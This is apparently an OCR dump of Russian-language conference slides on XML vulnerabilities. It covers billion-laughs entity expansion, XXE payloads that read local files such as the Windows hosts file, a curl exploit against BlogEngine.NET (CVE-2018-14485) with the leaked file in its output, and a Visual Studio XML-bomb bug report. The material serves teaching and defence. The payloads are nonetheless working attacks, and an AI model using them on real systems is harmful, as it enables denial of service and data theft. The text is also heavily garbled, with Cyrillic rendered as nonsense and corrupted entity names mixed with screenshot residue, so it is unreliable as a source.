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vasiliev-pc:8081

post/welcome-to-blogengine-net

Welcome to BlogEngine.NET

If you see this post it means that BlogEngine.NET is running and the hard part of creating your own

blog is done. There is only a few things left to do.
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1w} D Name of the blog | Welcometo = X |

& G A Not secure vasiliev-pc:8081/post/welcome-t

Welcome to BlogEngine.NET

B C:\Windows\System32\crmd.exe

E:\XXE>curl -d "@xxe.xml" -X

a x

POST http://vasiliev-pc:8@81/metaweblog.axd_

If you see this post it means that BlogEngine.NET is running and the hard part of creating your own

blog is done. There is only a few things left to do.
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t secure vasiliev-pc:8081/post/welcome-t

Welcome to BlogEngine.NET

a x

B C:\Windows\System32\crmd.exe
E:\XXE>curl -d "@xxe.xml" -X POST http://vasiliev-pc:8081/metaweblog.axd
<?xml version="1.8" encoding="utf-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value>02</value>
</member>
<member>
<name>faultstring</name>
<value>Unknown Method. (# Copyright (c) 1993-2e@9 Microsoft Corp.

This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

This file contains the mappings of IP addresses to host names. Each
entry should be kept on an individual line. The IP address should

be placed in the first column followed by the corresponding host name.
The IP address and the host name should be separated by at least one
space.

#
#
#
#
#
#
#
#
#
#

Additionally, comments (such as these) may be inserted on individual

If you see this post it means that BlogEngine.NET is running and the hard part of creating your own

blog is done. There is only a few things left to do.
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I XML: cywHocTH

<?xml version="1.0" encoding="utf-8" ?>

<foo>&lt;something;&gt;</foo>
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I XML: cywjHoCcTM

<?xml version="1.0" encoding="utf-8" ?>

<foo>&1t;somethingj&gt;</foo>

< >
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I XML: cywHocTH

<?xml version="1.0" encoding="utf-8" ?>

<foo>&lt;somethingj&gt;</foo>

< >

& name k *  value
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I XML: DTD (Document Type Definition)

<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE example |

<IENTITY hiEntity "Hello ">

<IENTITY worldEntity "World">
1>
<example>&hiEntity;&worldEntity;!</example>
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I XML: DTD (Document Type Definition)

<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE example [

<IENTITY hiEntity "Hello ">

<IENTITY worldEntity "World">
1>
<example>&hibntity;&worldEntity; !</example>
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I XML: DTD (Document Type Definition)

<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE example |

<IENTITY hiEntity "Hello ">

<IENTITY worldEntity "World">
>
<example>&hiEntity;&worldEntity;!</example>
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I XML: DTD (Document Type Definition)

<IDOCTYPE
<IENTITY hiEntity "Hello ">
<IENTITY worldEntity "World">
>

&hiEntity;&worldEntity;!

\ Hello World!
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B DTD MOXHO onpenenaTtb CyLHOCTH
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I XML: cywHocTH

[ CywHoCTH ]

T T

[ BHYyTpeHHne ] [ BHewHKe ]




I XML: cywHocTH

[ CywHoCTH J

T T

[ BHYyTpeHHUe J [ BHewHMe ]




I XML: BHyTpeHHHue CywHOCTH

<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE example |

<IENTITY hiEntity "Hello"»>
1>

<example>&hiEntity;</example>
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I XML: BHyTpeHHHue CywHOCTH

<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE example |

<IENTITY hiEntity "Hello"»>
1>

<example>&hiEntity;</example>

™.

Hello
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I XML: BHyTpeHHHue CywHOCTH

<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE example |

<IENTITY hiEntity "Hello"»>

<IENTITY hiWorldEntity "&hiEntity; World!">
1>

<example>&hiWorldEntity;</example>

™.

Hello World!
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I XML: BHyTpeHHHue CywHOCTH

CyLIHOCTU MOXHO “BKrnagbiBaTb"
Apyr B gpyra
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I XML: cywHocTH

[ CywHoCTH J

T T

[ BHYyTpeHHUe J [ BHewHMe ]




I XML: cywHocTH

[ CywHoCTH J

T T

[ BHYyTpeHHUe ] [ BHewHMe J




I XML: BHeLWWHMe CyLHOCTH

<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE example |

<IENTITY extEntity SYSTEM "file:///D:/test.txt">
1>

<example>&extEntity;</example>
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I XML: BHeLWWHMe CyLHOCTH

<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE example |

<IENTITY extEntity SYSTEM "file:///D:/test.txt">
1>

<example>&extEntity;</example>
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I XML: BHeLWWHMe CyLHOCTH

<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE example [

<IENTITY extEntity SYSTEM "file:///D:/test.txt">
1>

<example>&extEntity;</example>
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I XML: BHeLWWHMe CyLHOCTH

<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE example [

<IENTITY extEntity SYSTEM "file:///D:/test.txt">
1>

<example>&extEntity;</example>
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I XML: BHeLWWHMe CyLHOCTH

<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE example [

<IENTITY extEntity SYSTEM "file:///D:/test.txt">
1>

<example>&extEntity;</example>
"—

33



I XML: BHelWHMe CyLWHOCTH

<IENTITY extEntity SYSTEM "file:///D:/test.txt">

<example>&extEntity;</example>

-
Oh hi Mark!
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I XML: BHeLWWHMe CyLHOCTH

<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE example |

<IENTITY extEntity
SYSTEM "https://memes.com/quotes.txt">

1>

<example>&extEntity;</example>
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I XML: BHeLWWHMe CyLHOCTH

<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE example |

<IENTITY extEntity
SYSTEM "https://memes.com/quotes.txt">

1>

<example>&extEntity;</example>
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I XML: BHelWHMe CyLWHOCTH

<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE example |

<IENTITY extEntity
SYSTEM "https://memes.com/quotes.txt">

1>

<example>&extEntity;</example>

@ May the force

be with you




I XML: cywHocTH

[ CywHoCTH J

T T

[ BHYyTpeHHUe ] [ BHewHMe J




I XML: cywHocTH

[ CywHoCTH ]

T T

[ BHYyTpeHHUe ] [ BHewHMe ]




I XML: cywHocTH

BHyTpeHHMe CyLHOCTH BHelLHMe cyLwHoCTH
MO>XHO: MOo>XHO:
" KCNOMb30BaTb nNuTepan.l " yuTaTb NoKasribHble dpaunrsbl

= BKNagbiBaTb ApYyr B Apyra = yuTaTb dannbl NO CETU
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XML: pedeKkTbl 6€30MacHOCTMH
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I XML: pedeKkTbl 6e30nacHoCT

{ Weaknesses (XML) }
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I XML: pedeKkTbl 6e30nacHoCT

{ Weaknesses (XML) }

{ XEE } { XXE } { ).(Pat.h}
|nJeCt|0n
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I XML: pedeKkTbl 6e30nacHoCT

{ Weaknesses (XML) }

{ XEE } { XXE } [ ).(Pat.h}
|nJeCt|0n
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I XML: pedeKkTbl 6e30nacHoCT

{ Weaknesses (XML) }
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I XML: pedeKkTbl 6e30nacHoCT

{ Weaknesses (XML) }

= =
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XEE (XML Entity Expansion)
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<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE xmlBomb [
<IENTITY loll "lol">
1>
<xXmlBomb>&loll;</xmlBomb>
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<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE xmlBomb [
<IENTITY loll "lol">
1>
<xXmlBomb>&loll;</xmlBomb>
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<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE xmlBomb [
<IENTITY loll "lol">
<IENTITY lol2 "&loll;&loll1;&10l1;&lo011;&l011;&1011;&1011;&1011;&l011;&1011;">
1>
<xmlBomb>&lol2;</xmlBomb>
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lollollollollollollollollollol
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<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE xmlBomb [
<IENTITY loll "lol">
<IENTITY lol2 "&loll;&loll1;&10l1;&lo011;&l011;&1011;&1011;&1011;&l011;&1011;">
1>
<xmlBomb>&lol2;</xmlBomb>
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<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE xmlBomb [
<IENTITY loll "lol">

<IENTITY lol2 "&loll;&loll1;&10l1;&lo011;&l011;&1011;&1011;&1011;&l011;&1011;">
<IENTITY lol3 "&lol2;&l0l12;&10l12;&1012;&l012;&1012;&1012;&1012;&l012;&1012;">
1>
<xmlBomb>&lol3;</xmlBomb>
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<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE xmlBomb [
<IENTITY loll "lol">

<IENTITY lol2 "&loll;&loll1;&10l1;&lo011;&l011;&1011;&1011;&1011;&l011;&1011;">
<IENTITY lol3 "&lol2;&l0l12;&10l12;&1012;&l012;&1012;&1012;&1012;&l012;&1012;">
1>
<xmlBomb>&lol3;</xmlBomb>
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<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE xmlBomb [
<IENTITY loll "lol">
<IENTITY lol2 "&loll;&loll1;&10l1;&lo011;&l011;&1011;&1011;&1011;&l011;&1011;">
<IENTITY lol3 "&lol2;&l0l12;&10l12;&1012;&l012;&1012;&1012;&1012;&l012;&1012;">
">
>

<IENTITY lol4d "&lol3;&l0l13;&10l13;&l013;&l013;&1013;&1013;&1013;&l013;&1013;"
<IENTITY lol5 "&lol4;&1l0l14;&1014;&l014;&1014;&1014;&1014;&1014;&l014;&1014;"

1>
<xmlBomb>&1lo015;</xmlBomb>
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lollollollollollollollollollollollollollollollollollollollollollollollo
llollollollollollollollollollollollollollollollollollollollollollolloll
ollollollollollollollollollollollollollollollollollollollollollollollold
lollollollollollollollollollollollollollollollollollollollollollollollo
llollollollollollollollollollollollollollollollollollollollollollolloll
ollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollol}= nllollollollollollollollollollo
110llollollollollollollollol) 28 Cam)

- \llollollollollollollollolloll
ollollollollollollollolloll @_’_\’ﬁ\ lollollollollollollollollol
lollollollollollollollolloll! 0llollollollollollollollollo
llollollollollollollollollol 1lollollollollollollollolloll
ollollollollollollollollollc \bziiﬁﬁﬁﬁﬁ;ilollollollollollollollollollol
lollollollollollollollollollo ollollollollollollollollollollollollo
llollollollollollollollollollollollollollollollollollollollollollolloll
ollollollollollollollollollollollollollollollollollollollollollollollold
lollollollollollollollollollollollollollollollollollollollollollollollo
llollollollollollollollollollollollollollollollollollollollollollolloll
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<?xml version="1.0" encoding="utf-8" ?>
<IDOCTYPE xmlBomb [
<IENTITY loll "lol">
<IENTITY lol2 "&loll;&loll1;&10l1;&lo011;&l011;&1011;&1011;&1011;&l011;&1011;">
<IENTITY lol3 "&lol2;&l0l12;&10l12;&1012;&l012;&1012;&1012;&1012;&l012;&1012;">
<IENTITY lol4d "&lol3;&l0l13;&1013;&1013;&l013;&1013;&1013;&1013;&l013;&1013;">
<IENTITY lol5 "&lol4;&10l14;&10l14;&1014;&1014;&1014;&1014;&1014;&l014;&1014;">
>
>
>
>

<IENTITY lolé "&lol5;&l0l5;&10l15;&l0o15;&l015;&1015;&1015;&1015;&l015;&1015;"
<IENTITY lol7 "&lo0l6;&1016;&1016;&1016;&1016;&1016;&1016;&1016;&l016;&1016;"
<IENTITY lol8 "&lol7;&lo0l7;&10l17;&lo17;&l017;&1l017;&1017;&l0o17;&lol7;&lol7;"
<IENTITY lol9 "&1018;&1018;&1018;&1018;&1018;&1018;&1018;&1018;&1018;&1018;"
1>
<xmlBomb>&1l019;</xmlBomb>
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CywHoOCTb Pasmep BbixogHoro ¢amna Bpemsa pa3bopa
(6aiTbI) (cekyHabl)

lol1 3 0.000014
lol2 30 0.000017
lol3 300 0.000044
lol4 3 000 0.000311
lol5 30 000 0.003
lol6 300 000 0.030
lol7 3 000 000 0.300
lol8 30 000 000 3.000

lol9 300 000 000 30
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= CWE-776:
Improper Restriction of Recursive Entity References in DTDs
(‘XML Entity Expansion')
= OWASP Top 10:
= 2017: A4:2017 — XML External Entities (XXE)
= 2021: A05:2021 — Security Misconfiguration

NMocnepctBua: DoS
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| Visual Studio 2022
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VDG devenv.exe 27740 036 49534 MB Microsoft Visual Studio 2022
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|CPU Usage: 15.37% Physical memory: 15,86 GB (24.83%) Processes: 271
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C# Interactive Error List Command Window Output

D Rea

M Add to Source Control « @ Select Repository =



” File Edit View Git Project Build Debug XML Test Analyze Tools Extensions Window Help Search (Ctrl+Q) pel XEETest é o X

L @® ~ i - &5 INS v P Attach.. - B - & LiveShare &Y

'2"(\ ~ % Solution Explorer v X
; 1|/ <?xml version="1.0"?> & af -5 /,
ET 2 e t __A Search Solution Explorer (Ctrl+;) P~
? 3 SIEMTITY 1. “Lol"p Gl [ Solution 'XEETest' (0 projects)
- u <IENTITY loll "&lol;&Llol;&lol;&lol;&lol;&Lol;&Lol;&Lol;&Lol;&Llol; "> - T o)
Z-—’- 5 <!ENTITY lol2 "&loll;&loll;&loll;&Lloll;&Lloll;&loll;&Lloll;&Lloll;&lol];&Loll; "> I XMLBomb.xmi
3 6 <!ENTITY lol3 "&lol2;&lol2;&lol2;&Llol2;&lol2;&012;&Lol2;&Lol2;&1012;&L012;"> ———i
7 <!ENTITY lold "&lol3;&lol3;&Lol3;&lol3;&Lol3;&Lol3;&Lol3;&lol3;&Llol3;&lol3;"> 18 Process Hacker [VIVAB4\vasiliev] - o
8 <!ENTITY lol5 "&lold;&Llol4;&Lold; &lold;&lolY;&lolY;&lolY;&lolY;&lold;&lolY; "> Hacker View Tools Users Help
9 <!ENTITY lolé "&lol5;&lol5;&lol5;&lol5;&Lol5;&Lol5;&Lol5;&Lol5;&Lol5;&Lol5; "> 7 Refresh (3 Options | #8 Find handles or DLLs 4% System information | > [devenv X
10 <!ENTITY lol7 "&lol6;&lol6;&Lol6;&lol6;&lol6;&Lol6;&Lol6;&Lol6;&Lol6;&Lols; "> Processes Services Network Disk
11 <!ENTITY lol8 "&lol7;&lol7;&Lol7;&Lol7;&Lol7;&Lol7;&Lol7;&Lol7;&Lol7;&L0Ol7; "> Name PID  CPU Privateb.. Description
12 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&Lol8;&Lol8;&Lol8;&Lol8;&Lol8;&LOLS; "> V00 e 27740 129 51168 Microsoft Visual Studio 2022
13 <!ENTITY loll0 "&lol9;&Llol9;&Lol9;&Llol9;&Lo19;&Lol9;&Lol9;&L019;&L019;&LolY; "> N
14 <!ENTITY lolll "&lol10;&lol10;&Lol10;&10ol10;&Ll0o110;&Lol10;&Lo110;&10110;&Lo110;&L0110;"> ¢
15 <!ENTITY loll2 "&lolll;&lolll;&lol11;&1lol11;&Llol11;&Llol11;&Lol1];&Lol11;&Llol1];&Lo1l1]; ">
16 <!ENTITY loll3 "&lol12;&lol12;&Llol12;&10112;&Ll0112;&10112;&L0112;&L0112;&10112;&L0112;">
17 <!ENTITY lolld "&lol13;&Lloll13;&lol13;&Lol13;&lol13;&Lol13;&Lol13;&l0l13;&L0113;&10113;">
18 <!ENTITY loll5 "&lolld;&lolly;&Llolll;&lolll;&lol1y;&Llol1l;&Llol1l;&Llolld;&Lol14;&lol1l; ">
19| 1>
20|| <lolz>&loll5;</lolz>| . -
CPU Usage: 18.23% Physical memory: 20,38 GB (31.91%) Processes: 271
121% ~ AO T Jd Ln:20 Ch:21 SPC  CRLF Syntax Visuali... ' Solution Expl... = Git Changes

C# Interactive Error List Command Window Output

T Add to Source Control = € Select Repository ~ E\1



n File  Edit View Git Project Build Debug Test Anpalyze Tools Extensions Window  Help Search (Ctrl+Q) p ol MSBuild @ =

@- @-E'z - ~ | Debug ~| Any CPU - P Start ~ [> 6' BB E:EEE E = = |& Live Share

LazyFormatted...|dEventhrgs.cs & ¢ [T LN GluT &N RequiredRuntimeAttribute.cs RequiredAttribute.cs BuildWarningEventArgs.cs CriticalBuildM...geEventArgs.cs InitializationException.cs DistributedloggerRecord.cs ~ #  Splution Explorer = ceow X

[ Microsoft.Build.Framework ) - 6}8I'\.'1icrosm‘t.BuiId.Frar'i’1em\u’0rli:.Lazg.rForr'ﬂattedBuiIdE\.i'ent.ﬂ‘rgs - 4_argurments o nﬂ'ﬂ Y@ -= U
I96 F T =7 sunnary~

147 /// <param name="reader">Binary reader which is attached to the stream the event will be deserialized from.</param> Search Solution Explorer (Ctrl+;) p-

148 /// <param name="version">The version of the runtime the message packet was created from</param= | 4 E: :Ea”ctia:!g:k'“ -
m VENRedIrector.cs

62 references

BT 149 B internal override void CreateFromStream(BinaryReader reader, version)

C# |EventSource.cs
c# |ForwardingLogger.cs

= C# |GeneratedTask.cs
i Task Manager — O x =
¥ C# |Logger.cs

saounog eje  xogoo]  Jauo|dxg saaeg

File Options View 1% Process Hacker - X

Processes  Perf U Details  Servi :
erformance  Users ails Services Hacker View Tools Users Help

“% Refresh |} Options | g8 Find handles or DLLs * |Search Processes (Ctrl+K) jo

Mame Processes  Seryices Metwork Disk

Mame PID  CPU  Private b... Description
Vlﬂwinlngun.exe 11796 243 MB  Windows Logon Application

i 'J“ Microsoft Visual Studio 2022 Preview (3) 124,621.9 MB guments: numRead+H [®] fontdrehost.exe 12008 1.96 MB Usermode Font Driver Host
(=] dwm.exe 12064 5593 ME Desktop Window Manager

dstring(); ¥ = explorer.exe 4808 43.86 ME  Windows Explorer

| v K% devenv.exe 2572 142.31GB  Microsoft Visual Studio 2022 Preview |
(55 ServiceHub.Host.CLR.x64 27.7 MB v 8] Microsoft Servi... 12396 3436 MB  Microsoft.ServiceHub. Controller

[mE] ServiceHub.Host. CLR.x86 (32 bit) 25.5MBE [m:] ServiceHub.l... 13440 3542 MB  ServiceHub.ldentityHost.exe

[#5] ServiceHub.ldentityHost.exe (32 bit) 274 MB ) [z ServiceHub.... 13956 1.0 MEB  ServiceHub.V5DetouredHost.exe
[#5 ServiceHub.SettingsHost.exe (32 bit) 7.8 ME )i (] ServiceHub.... 1406 0. 33.86 MB  ServiceHub.5ettingsHost.exe

[ ServiceHub.VSDetouredHost.exe 36.0 MEB [#:] ServiceHub.... 15288 326 MB  ServiceHub.Host.CLR.x86
CurrentCulture.LCI E] ServiceHub.... Alne D0 EA RAD  Comsimaldiib Lnek 1 D o84
!',‘,, Microsoft Visual Studio Preview 124, 404.3 MB —lr <

B T L1

SmC AL A CPU Usage: 6.67% Physical memory: 127.59 GB (99.74%) Processes: 163

| Fewer details End task P WSEId
- = P ®0 References

b BN FxCopExclusions

179 _originalCulture = new CultureInfo(originalCultureId); = %) app.config
180 C# Assemblylnfo.cs

181

182 & AssemblyMameExtension.cs

183 C# AssemblyResources.cs

184 ( S —— >

el
133% ~|&f @ Mo issues found &~ . . SPC CRLF Syntax Visuali... = Solution Expl.. | Git Changes

Apps (3) 1;

[m5] Microsoft.ServiceHub.Controller 20.4 MB
[55] PerfWatson2.exe 429 MB

nitTests

| &@* AssemblylLoadinfo.cs

| & AssemblyMameComparer.cs

-

C# Interactive  Error List  Command Window  Output

 Addto Source Control «  4p Select Repository = L_-I



VS 2022 n XML-00omMObI

XMLFiledxml & X
<?xml version="1.8"7=
F=<!DOCTYPE lolz [

<!ELEMENT lolz (#PCDATA)=

Search P- = h- Group by: Process ID
<IENTITY loll "&lol;&Llol;&lol;&lol;&lol;&lol;&lol;&lol
<IENTITY lol2 "&loll;&lell;&loll;&loll;&lell;&loll; &lo - 1] Mame = Location
1= A Process Lk 387 cod39-31c-494c-9107 -Besetadelidle (40 threads)
<lolz>&1pl2;</lolz> B 4812 VSMain v Microsoft.XmiEditor.dilMicrosoft XmiEditor. XmINade.AddChild
lellellallellclloliollolicliollallelclloliclolloliolallclollclle ) 6752 <MoMar w Micmsuft.‘u"isualStudio.?elemetr].r.dll!Micmsuft.‘u"isualStudio.ﬁspplic
[lollallollallaliollallolollallollzllolollallolallolollallolall Ftl 2104 StatusBa w WiFIdﬂWSEE5E.d|”MS.WiFIRE.UHSEfENHtiUEMEthDdS.GEtMESSHgEW

ollollollcllollollcllolliollellolliollcllollolcllollolcllollolallol
lollellollollclloliollcllolliollellolliolellollclcllollalcllollollo
llollollollollolollollollol

Call Stack

Mame

Microsoft. XmlEditor.dll!Microsoft. XmiEditor.Parser.ParseStringLiteral(Microsoft. XmlEditor.XmiMNa
Microsoft. XmlEditor.dll!Microsoft. XmlEditor.Parser.ParseEntity(Microsoft. XmlEditor. XmiIMNode ow
Microsoft. XmlEditor.dll!Microsoft. XmlEditor.DtdParser.ParseDtdMarkupDeclaration(Microsoft.Xm

| Microsoft XmlEditor.dll!Microsoft. XmlEditor.DtdParser.Parseltd(Microsoft. XmlEditor.Dtd subset,
Microsoft. XmlEditor.dl!Microsoft. XmlEditor.Parser.ParseDocType(Microsoft. XmlEditor XmiMNode |
Microsoft. XmlEditor.dl!Microsoft. XmlEditor.Parser.ParseXmiMarkupDeclaration(Microsoft. XmlEd
Microsoft. XmlEditor.dil!Microsoft. XmiEditor.Parser.ParseEntity Content(Microsoft. {miEditor.XmIC
Microsoft. XmlEditor.dil!Microsoft. XmlEditor.Parser.ParseDocument()
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Closed - Fixed ©

~ 7 Visual Studio 2022 Praview is vulnerable to XML bombs

W \otes

@ Sergey Vasiliev - Reported Sep 03, 2021

Hello!

When | developed a diagnostic rule for the PVS-Studio analyzer to search for potential XXE, | found out that Visual Studio 2022 Preview is sensitive to XML

bombs (CWE-776)

Steps to reproduce:

machines the IDE cansumed 100+ GB of memory:

& use the ‘Blank Solution' template to create a project;

® add an XML file to it:

* copy the text below into the file.

Text to copy:
[Ae KaPTUHKMU,
JleboBCKK?
1=
&lolls;

Visual Studio

ooks |i
leiThreads

lZcallstack.png

windows 1

ke Visual Studio launches DTD processing but doesn't set any restrictions on the size of XML entities:

1t looks |

Because of this, the IDE behaves like an application vulnerable to the billion laughs attack.

Visual Studio version: 17.0.0 Preview 3.1

0.0 project wisual studio  security  wisual studio 2022 version 17.0 preview 3.1

[ne TekcT?
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I XML: pedeKkTbl 6e30nacHoCT

{ Weaknesses (XML) }

= =
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{ Weaknesses (XML) }
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XXE (XML eXternal entities)
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| XXE (XML external entities)

XML

Result
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| XXE (XML external entities)

MoxxHO obpallaTbCHa K BHELLUHUM
pecypcam

87



| XXE (XML external entities)

I

/>

XML

Result

XML

Result

XML parser
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| XXE (XML external entities)

/ B
,/ — </> — XML parser
D omn ) |/ XML \
| &= =
XML coo -] | p——
= \ —
\ —-—
Result \\ ) Result —
\
\
\
CIENTITY hostsEntity !

SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
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| XXE (XML external entities)

/
/ AN
,/ E— </> — XML parser
T aon ) |,/ XML T~
— </> —— [goa -] {
XML oon -] |
= \
\
Result \\ ) Result —
\
\
\
\

<IENTITY pvsEntity
SYSTEM "https://pvs-studio.com/example.xml">
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| XXE (XML external entities)
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| XXE (XML external entities)
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| XXE (XML external entities)

N\
[ — |
ooo
eee qun eee
XML T oo - TR oo -
= = = =
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| XXE (XML external entities)

XML T oo - TR oo -
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| XXE (XML external entities)

XML T oo - TR oo -
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| XXE (XML external entities)

XML

<IENTITY extEntity
SYSTEM
"https://....">
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| XXE (XML external entities)

XML T oo - TR oo -

<IENTITY extEntity
SYSTEM
"https://....">
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|

= CWE-611:
Improper Restriction of XML External Entity Reference

= CWE Top 25: 23

= OWASP Top 10:
= 2017: A4:2017 — XML External Entities (XXE)
= 2021: A05:2021 — Security Misconfiguration

= OWASP ASVS 4.0.3: 5.5.2

NocneacTBuaA: yTeukn gaHHbIX, SSRF

D
<P
XML

98



| XXE (XML external entities)

/
/ AN
,/ — </> — XML parser
T aon ) |,/ XML T~
S </> —— [goa -] { —_
XML aon_-) —=
— \ —
\ -
Result \\ ) Result :/
\
\
\
\

Ycnosua:
1. NMyte XML o napcepa
2. OnacHas KoHdUrypauma napcepa
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BlogEngine.NET
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im] D Name of the blog | Welcome to

& @} A Not secure |

X

+

vasiliev-pc:8081

post/welcome-to-blogengine-net

Welcome to BlogEngine.NET

If you see this post it means that BlogEngine.NET is running and the hard part of creating your own

blog is done. There is only a few things left to do.

DOWNLOAD THEMES OFFICIAL WEBSITE DONATE

VAT PViiniian O o O . .

= @

a



O [E Newtab -

¢ > ©|a

For quick access, place your favorites here on the favorites bar. Manage favorites now

s .
InPrivate browsing

InPrivate search with Microsoft Bing

+" What InPrivate browsing does
Deletes your browsing info when you close all InPrivate windows
Saves collections; favorites, and downloads (but not download history)

Prevents Microsoft Bing searches from being associated with you

Always use “Strict” tracking prevention when browsing InPrivate

If this is off, we'll use the same tracking prevention setting as a normal browsing window

¢ What InPrivate browsing doesn't do
Hide your browsing from your school, employer, or intemnet service provider
Give you additional protection from tracking by default

Add additional protection to what's available in normal browsing

‘ ' More details




| BlogEngine.NET: CVE-2018-14485

<add name="MetaWeblog"

verb="*"

mmp- path="metaweblog.axd"

type="BlogEngine.Core.API.MetaWeblog.MetaWeblogHandler, BlogEngine.Core"
resourceType="Unspecified"

requireAccess="Script”

preCondition="integratedMode" />
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BlogEngine.NET: CVE-2018-14485

private static string
ParseRequest (HttpContext context)

{

var buffer = new byte[context.Request
InputStream
.Length];

context.Request.InputStream.Position = 0;
context.Request.InputStream.Read(
buffer, @, buffer.Length);

return Encoding.UTF8.GetString(buffer);

public XMLRPCRequest(HttpContext input)
{

var inputXml = ParseRequest(input);

// LogMetaWeblogCall(inputXml);
this.LoadXmlRequest(inputXml);

}

private void LoadXmlRequest(string xml)
{
var request = new XmlDocument();
try
{
if ( !'(xml.StartsWith("<?xml")
|| xml.StartsWith("<method")))

{
xml = xml.Substring(xml.IndexOf("<?xml"));

}
request.LoadXml(xml);

}

} 104



| BlogEngine.NET: CVE-2018-14485

private static string
ParseRequest (HttpContext context)
{
var buffer = new byte[context.Request
InputStream
.Length];

context.Request.InputStream.Position = 0;
context.Request.InputStream.Read(
buffer, @, buffer.Length);

return Encoding.UTF8.GetString(buffer);
}
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| BlogEngine.NET: CVE-2018-14485

private static string ParseRequest(HttpContext context)

{
var buffer = new byte[context.Request.InputStream.Length];

context.Request.InputStream.Position = 0;
context.Request.InputStream.Read(buffer, 0, buffer.Length);

-~

return Encoding.UTF8.GetString(buffer);
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BlogEngine.NET: CVE-2018-14485

private static string
ParseRequest(HttpContext context)
{
var buffer = new byte[context.Request
. InputStream
.Length];

context.Request.InputStream.Position = 0;
context.Request.InputStream.Read(

buffer, 0, buffer.Length);

return Encoding.UTF8.GetString(buffer);

public XMLRPCRequest(HttpContext input)
{

var inputXml = ParseRequest(input);

// LogMetaWeblogCall(inputXml);
this.LoadXmlRequest(inputXml);

}

private void LoadXmlRequest(string xml)

{

var request = new XmlDocument();
try
{
if ( !'(xml.StartsWith("<?xml")
|| xml.StartsWith("<method")))

{
xml = xml.Substring(xml.IndexOf("<?xml"));

}
request.LoadXml(xml);

¥

} 107



| BlogEngine.NET: CVE-2018-14485

public XMLRPCRequest(HttpContext input)

{ L/\

var inputXml = ParseRequest(input);

_/

// LogMetaWeblogCall(inputXml);
this.LoadXmlRequest(inputXml); // Loads Method Call

4‘/5 // and Associated Variables
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BlogEngine.NET: CVE-2018-14485

private static string
ParseRequest(HttpContext context)
{
var buffer = new byte[context.Request
. InputStream
.Length];

context.Request.InputStream.Position = 0;
context.Request.InputStream.Read(
buffer, 0, buffer.Length);

return Encoding.UTF8.GetString(buffer);

public XMLRPCRequest(HttpContext input)
{

var inputXml = ParseRequest(input);

// LogMetaWeblogCall(inputXml);
this.LoadXmlRequest(inputXml);

}

private void LoadXmlRequest(string xml)
{
var request = new XmlDocument();
try
{
if ( !'(xml.StartsWith("<?xml")
|| xml.StartsWith("<method")))

{
xml = xml.Substring(xml.IndexOf("<?xml"));

}
request.LoadXml(xml);

}

} 109



| BlogEngine.NET: CVE-2018-14485

private void LoadXmlRequest(string xml) {

var request = new XmlDocument();

try {
if (!(xml.StartsWith("<?xml") || xml.StartsWith("<method"))) {

xml = xml.Substring(xml.IndexOf("<?xml"));

}
request.LoadXml(xml);
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| BlogEngine.NET: CVE-2018-14485

private void LoadXmlRequest(string xml) {

var request = new XmlDocument();

try {
if (!(xml.StartsWith("<?>xml") || xml.StartsWith("<method")))4£:::::>
xml = xml.Substring(xml.IndexOf("<?xml"));
} e
request.LoadXml(xml);

}
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| BlogEngine.NET: CVE-2018-14485

private void LoadXmlRequest(string xml) { [inputXml -> xml]

var request = new XmlDocument();
try {
if (!(xml.StartsWith("<?xml") || xml.StartsWith("<method"))) {
xml = xml.Substring(xml.IndexOf("<?xml"));

} —
request.LoadXml(xml);
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| BlogEngine.NET: CVE-2018-14485

private void LoadXmlRequest(string xml) { [inputXml -> xml]

var request = new XmlDocument();
try {
if (!(xml.StartsWith("<?xml") || xml.StartsWith("<method"))) {
xml = xml.Substring(xml.IndexOf("<?xml"));

} —
request|LoadXml(xml);
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BlogEngine.NET: CVE-2018-14485

private static string
ParseRequest (HttpContext context)

{

var buffer = new byte[context.Request
InputStream
.Length];

context.Request.InputStream.Position = 0;
context.Request.InputStream.Read(
buffer, @, buffer.Length);

return Encoding.UTF8.GetString(buffer);

public XMLRPCRequest(HttpContext input)
{

var inputXml = ParseRequest(input);

// LogMetaWeblogCall(inputXml);
this.LoadXmlRequest(inputXml);

}

private void LoadXmlRequest(string xml)
{
var request = new XmlDocument();
try
{
if ( !'(xml.StartsWith("<?xml")
|| xml.StartsWith("<method")))

{
xml = xml.Substring(xml.IndexOf("<?xml"));

}
request.LoadXml(xml);

}

} 114



BlogEngine.NET: CVE-2018-14485

public XMLRPCRequest(HttpContext input)

{
var inputXml = ParseRequest(input);
\
// LogMetaWeblogCall(inputXml);
private static string this.LoadXmlRequest(inputXml);
ParseRequest (HttpContext context) }
{
var buffer = new byte[context.Request private void LoadXmlRequest(string xml)
.InputStream { —
.Length]; (’_VEF_FEauest = new XmlDocument();
try
context.Request.InputStream.Position = 0; {
context.Request}InputStPeam.Read( if ( !'(xml.StartsWith("<?xml")
buffer,*ﬁj_BU??ﬁFTféﬁ§¥Fzz::) || xml.StartsWith("<method")))
= — {
return Encoding.UTF8.GetString(buffer); xml = xml.Substring(xml.IndexOf("<?xml"));

} — }
C:i//*\\§~_; request.LoadXml(xml);
}

} 115




I BlogEngine.NET

private void LoadXmlRequest(string xml) {

var request = new XmlDocument();

try {
